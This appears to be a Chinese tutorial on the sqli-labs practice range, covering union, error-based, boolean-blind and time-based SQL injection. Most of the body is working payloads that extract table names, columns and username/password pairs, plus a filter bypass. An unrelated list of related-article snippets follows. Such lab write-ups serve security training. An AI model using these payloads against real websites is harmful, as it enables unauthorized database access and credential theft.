sql注入靶场sqli-labs常见sql注入漏洞详解
目录
sqli-labs-less1
1.less1普通解法
1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)
2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接
3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段
4.判断查询语句哪些字段是显示出来的
5.利用上一步的回显和database(),version()函数回显数据库名和版本号
6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名
7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns表里面有。
8.数据库知道了,表知道了,字段知道了,开始查询内容
2.less1解法2报错注入(union用不了时)
1.爆表名
3.less1解法3无列名注入
1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的
sys.schema_auto_increment_columns表里面有table_name
2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来
sqli-labs-less8
1.less8布尔盲注
1.爆数据库名
2.less8用python写布尔盲注脚本
1.爆数据库名
二分法爆数据库名
2.爆表名
3.爆字段名
sqli-labs-less9
1.时间注入
1.用python写时间注入脚本
sqli-labs-less1
1.post提交方式的注入
1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
3.-1' union select 1,group_concat(password,0x3a,username) from users#
sqli-labs-less17
1.有过滤的注入
1、爆数据库名
2、爆表名
3、爆字段名
4、爆字段内容(用户名)
sqli-labs-less1
1.less1普通解法
1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)
select * from users where id=' 1'--+ ' limit 0,1;(为什么要id=1'--+) 引号和前面的引号闭合,后面的引号被注释了
2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接
--+是url里面的注释,因为#有其他用处,--空格里面的空格会被忽略
3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段
4.判断查询语句哪些字段是显示出来的
?id=-2'union select 1,2,3--+ (-1可以让union左边的查询为空,从而只回显1,2,3所在字段,就可以知道会显示哪些字段了)
UNION:它用于将两个或多个查询的结果合并为一个结果集,并且会去除重复的行。
5.利用上一步的回显和database(),version()函数回显数据库名和版本号
6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名
7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns表里面有。
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'(限定数据库) and table_name='users' (限定表名)--+
8.数据库知道了,表知道了,字段知道了,开始查询内容
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+
2.less1解法2报错注入(union用不了时)
报错注入必须加concat函数将数据库名称连接到原始XML文档节点
利用updataxml()或者extractvalue()函数来报错
1.爆表名
?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e),1) --+
updatexml(1,2,3)里面要三个字段,1,3随便取,2是xpath路径,不对就报错,
正是利用这个报错注入
concat把0x7e,substring三个字段连接起来输出(把查到的数据用自定义符号连接起来)
group_concat把表里面每一行的结果拼成一个字符串输出(用在查询语句里面来查询的)
substring是截取字符串的一部分,末尾1,20是截取范围
?id=-1' and extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e)) --+
extractvalue(1,2)里面两个字段1随便,2错误报错
concat把0x7e,substring三个字段连接起来输出
group_concat把表里面每一行的结果拼成一个字符串输出
substring是截取字符串的一部分,末尾1,20是截取范围
3.less1解法3无列名注入
当information_schema库被过滤了,就不能用了,里面的表名,列名,字段名就查不到了
1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的
sys.schema_auto_increment_columns表里面有table_name
能查到users表名,但也仅限表名
2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来
在知道的数据库名下查询这个select * from (select * from users a join users b)c;
因为连接的是两个相同的表,就会报错:字段重复,就知道重复的字段是什么了
join是连接两张表,最后的c是因为子查询必须有个别名
用using()排除已经知道的字段,就会爆出下一个字段select * from (select * from users a join users b using(id))c;
sqli-labs-less8
1.less8布尔盲注
当输入id=1之类的东西,他的回显只有两个值,一个对,一个错,就要用布尔盲注
联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注
1.爆数据库名
对的回显
错的回显
所以115就是数据库名的第一个字母的asc码,改substr后面的截取字段就可以一个个把数据库名爆出来
2.接着爆表名
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+
3.接着爆字段名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
2.less8用python写布尔盲注脚本
1.爆数据库名
二分法爆数据库名
2.爆表名
3.爆字段名
sqli-labs-less9
1.时间注入
网页表现为,不管对错,都是一样的画面
比如sqli第九题,怎么样都是you are in …….
利用if判断语句和布尔盲注,如果asc码满足条件就延迟4秒,如果不满足就直接返回
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
条件满足网页在转圈圈
条件不满足网页直接返回
1.用python写时间注入脚本
sqli-labs-less11
1.post提交方式的注入
和第一关一样,只不过是提交方式变化了,在表单标签里面注入
并且要填两个值
1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
3.-1' union select 1,group_concat(password,0x3a,username) from users#
sqli-labs-less17
1.有过滤的注入
第17关(username被转义了,只能name是正确的,然后在password注入)
1、爆数据库名
1' and extractvalue(1,concat(0x7e,database(),0x7e))#
2、爆表名
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
3、爆字段名
1' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c))#
4、爆字段内容(用户名)
如果直接查询的话会报错,因为被过滤了
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#
为了绕过他不让用users表的限制,把users表用(select username from users)代替
1' and (extractvalue(1,concat(0x5c,substring((select group_concat(username) from (select username from users)a),1,32),0x5c)))#
5、爆密码
1' and (extractvalue(1,concat(0x5c,substring((select group_concat(password) from (select password from users)a),1,32),0x5c)))#
相关文章:

sql注入靶场sqli-labs常见sql注入漏洞详解
目录 sqli-labs-less1 1.less1普通解法 1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入) 2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接…...

[C++] 模板进阶:特化与编译链接全解析
文章目录 非类型模板类型形参非类型模板参数代码示例 **模板的特化**为什么要有模板的特化函数模板特化使用场景与示例函数模板特化的实现细节 类模板特化全特化示例 偏特化部分优化通过进一步限制模板参数进行特化偏特化为指针类型示例:偏特化为引用类型示例&#…...
oracle-备份
1、逻辑备份(exp) /ljbb/oracle/o19c/bin/exp hr/hr tablesJOBS file/ljbb/bak/system.sql log/ljbb/bak/ststem.log query\where deptno30\ buffer100000000 hr/hr 用户/密码 tablesJOBS 表名:JOBS file/ljbb/bak/system.sql 备份文件路径 log/ljbb/ba…...
oracle 并行parallel的插入insert用法
在Oracle数据库中,INSERT 语句确实可以使用 Parallel(并行)功能。通过并行插入,可以在插入数据时同时利用多个并行操作进程来执行插入操作,从而显著提高插入操作的速度和效率。这对于需要处理大量数据插入的场景尤为有…...
夜莺监控使用指南
夜莺监控使用指南 本文用于解决在部署和应用夜莺监控中遇到的一些问题以及官方文档缺失的某些步骤可能会遇到的坑。 安装过程 我使用是NightingaleCategrafPrometheus的架构。 Nightingale安装文档:https://flashcat.cloud/docs/content/flashcat-monitor/night…...

MySQLDM笔记-查询库中是否存在列出的表名及查询库中列出的不存在的表名
如下表名: aaa,bb,cc,ccs,dds,csdf,csdfs,sdfa,werwe,csdfsd 在MySQL库中,查询哪些表名在数据库中 SELECT table_name FROM information_schema.tables WHERE table_schema your_database_name_here AND table_name IN (aaa, bb, cc, ccs, dds, csdf…...

第9天 xxl-job
使用xxl-job需要建表 引入依赖 添加配置 Bean public XxlJobSpringExecutor xxlJobExecutor() {logger.info(">>>>>>>>>>> xxl-job config init.");XxlJobSpringExecutor xxlJobSpringExecutor new XxlJobSpringExecutor();xxlJo…...
C++字符串<string>库
一:string及其标准库 C中使用string类需要添加<string>库。 string初始化: string str1 "Hello"; string str2; str2 "World"; string str3 str1 str2; string在变量的声明以及初始化与C语言的char类字符串一致。但是str…...

智能分析,安全无忧:AI视频分析技术在安全生产中的深度应用
在当今快速发展的科技时代,视频智能分析技术(Intelligent Video Analysis,简称IV)已经成为提升安全生产水平的重要手段。这一技术通过计算机图像视觉分析技术,实现了对场景中目标的自动识别和追踪,有效提升…...

02 Canal的安装使用
1 下载Canal Cannal下载地址如下:https://github.com/alibaba/canal/releases,这里选择Canal 1.1.4版本下载。2 上传解压 #首先创建目录 “/software/canal” [rootnode3 ~]# mkdir -p /software/canal#将Canal安装包解压到创建的canal目录中 [rootnode3 ~]# tar …...

【网络安全】玲珑安全第四期
鉴于玲珑安全漏洞挖掘前三期课程取得的优异成绩和获得的强烈反响,我们决定启动玲珑安全第四期漏洞挖掘培训计划。 文章目录 往期学员收获基础学员报喜(部分)课程反馈第四期课程课程内容免费课程往期学员收获 第一期课程总结及学员收获:->点我查看第一期学员收获<- …...

【工具】图片背景移除界面 UI 源码
移除图片背景的UI 照片背景移除和填充颜色的用户界面 仓库地址:https://github.com/MengWoods/remove-background-ui/tree/main 介绍 该项目提供了一个基于 removebg 库的用户界面,用于从输入的照片中移除背景,并用不同的颜色填充背景。 …...

CentOS linux 安装openssl(openssl拒绝服务漏洞【CVE-2022-0778】解决)
一、安装 1.下载相关openssl包 下载地址: https://www.openssl.org/source/ 2.将下载好的压缩包放到 /app/server/nginx 路径下(根据自己实际需求定义) 3.切换至该路径 cd /app/server/nginx4.压缩包解压 压缩包解压 :tar -…...

假如有一个嵌套集合,怎么通过stream流将集合放到一个集合之中?
假如有一个嵌套集合,怎么通过stream流将集合放到一个集合之中? 问题解释:你有一个嵌套的集合,想要通过 Stream 流的方式将其中嵌套的集合放到一个新的集合中。可以使用 flatMap 方法来实现。这种方法非常适合处理嵌套集合的情况。…...
flutter doctor出现 Unable to find bundled Java version
在安装flutter时执行flutter doctor时出现了如下错误: [!] Android Studio (version 2022.1) ✗ Unable to find bundled Java version. 解决办法 检查下Applications/Android Studio.app/Contents目录下有没有jre文件夹,如果没有则创建一个&…...
Linux系统修改root密码
疑难杂症篇(十六)--虚拟机出现“The system is running in low-graphics mode“问题的解决方案_the system is running in low graphic-CSDN博客...

AI时代,我们还可以做什么?
最近看了本书,书名叫做《拐点:站在 AI 颠覆世界的前夜》,作者是万维钢。 本想着看完后,就能掌握一整套 AI 技巧,结果——竟然学了很多道理。 这本书讨论了以下话题: 我们该怎么理解这个 AI 大时代的哲学&am…...

【生成式人工智能-十-文字、图片、声音生成策略】
人工智能生成文字、图片、声音的方法 生成的本质生成的策略文字AR (Autoregressive Generation)图像和视频 NAR(Non-Autoregressive Generation)解决NAR生成品质低的问题 AR NAR 生成的本质 文字、图像、声音的生成的本质,就是给模型一个输入,模型把基…...
git pull 注意事项
当在执行 git pull 操作并且涉及到合并操作时,Git 会打开默认的文本编辑器(在这种情况下是 nano),以便你编写合并提交(merge commit)消息。这个消息将记录在合并提交中,解释为什么进行了这次合并…...

拥抱变革:旗晟智能巡检机器人系统重塑高风险行业巡检模式
随着工业自动化的快速发展,特别是在石油、化工、煤矿等高风险行业中,传统的巡检方式已难以满足现代企业的需求。高频次、全天候、重复的人工巡检不仅效率低下,还面临着人身安全、数据准确性和运营成本等多方面的挑战。针对这些问题࿰…...
PHP和Node.js哪个更爽?
先说结论,rust完胜。 php:laravel,swoole,webman,最开始在苏宁的时候写了几年php,当时觉得php真的是世界上最好的语言,因为当初活在舒适圈里,不愿意跳出来,就好比当初活在…...

Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...

遍历 Map 类型集合的方法汇总
1 方法一 先用方法 keySet() 获取集合中的所有键。再通过 gey(key) 方法用对应键获取值 import java.util.HashMap; import java.util.Set;public class Test {public static void main(String[] args) {HashMap hashMap new HashMap();hashMap.put("语文",99);has…...
mongodb源码分析session执行handleRequest命令find过程
mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程,并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令,把数据流转换成Message,状态转变流程是:State::Created 》 St…...
Spring Boot面试题精选汇总
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...

全志A40i android7.1 调试信息打印串口由uart0改为uart3
一,概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本:2014.07; Kernel版本:Linux-3.10; 二,Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01),并让boo…...

短视频矩阵系统文案创作功能开发实践,定制化开发
在短视频行业迅猛发展的当下,企业和个人创作者为了扩大影响力、提升传播效果,纷纷采用短视频矩阵运营策略,同时管理多个平台、多个账号的内容发布。然而,频繁的文案创作需求让运营者疲于应对,如何高效产出高质量文案成…...

宇树科技,改名了!
提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...

Golang——9、反射和文件操作
反射和文件操作 1、反射1.1、reflect.TypeOf()获取任意值的类型对象1.2、reflect.ValueOf()1.3、结构体反射 2、文件操作2.1、os.Open()打开文件2.2、方式一:使用Read()读取文件2.3、方式二:bufio读取文件2.4、方式三:os.ReadFile读取2.5、写…...

Unity VR/MR开发-VR开发与传统3D开发的差异
视频讲解链接:【XR马斯维】VR/MR开发与传统3D开发的差异【UnityVR/MR开发教程--入门】_哔哩哔哩_bilibili...